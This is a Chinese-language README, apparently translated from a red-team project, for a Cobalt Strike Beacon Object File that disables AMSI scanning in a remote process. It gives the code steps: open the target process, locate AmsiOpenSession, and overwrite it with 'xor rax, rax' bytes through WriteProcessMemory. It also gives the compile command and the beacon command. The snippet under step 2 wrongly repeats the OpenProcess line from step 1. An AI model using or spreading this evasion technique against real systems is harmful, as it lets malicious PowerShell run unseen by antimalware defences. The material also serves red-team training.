Cobalt Strike BOF - 注入AMSI绕过
Cobalt Strike Beacon对象文件(BOF),通过代码注入绕过远程进程中的AMSI。
从CobaltStrike运行inject-amsiBypass BOF

它的作用是什么?
1. 使用提供的PID参数获取远程进程的句柄
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
2. 将AMSI.DLL加载到Beacon的内存中,并获取AMSI.AmsiOpenSession的地址
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
- Beacon和目标进程都将拥有相同的符号地址。
- 如果远程进程中不存在AMSI.DLL,运行此操作可能导致目标进程崩溃。
3. 将AMSI绕过代码写入远程进程的内存
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);
方法 = AMSI.AmsiOpenSession
- 使用Offensive Security的PEN-300/OSEP(规避技术与突破防御)课程中教授的AMSI绕过技术。
概念验证演示截图
之前 - Powershell.exe AMSI.AmsiOpenSession

之后 - Powershell.exe AMSI.AmsiOpenSession

使用x64 MinGW编译:
x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o
从Cobalt Strike Beacon控制台运行
beacon> inject-amsiBypass <PID>
- 确保将inject-amsiBypass.cna脚本加载到Cobalt Strike的脚本管理器中
待办事项列表
- 注入前检查远程进程中是否存在AMSI.DLL
- 添加其他AMSI绕过方式以注入
- 支持x86
致谢/参考
Raphael Mudge - Beacon对象文件 - Luser演示
Cobalt Strike - Beacon对象文件
BOF代码参考
ajpc500/BOFs
trustedsec/CS-Situational-Awareness-BOF
Sektor7恶意软件开发基础课程
Offensive Security OSEP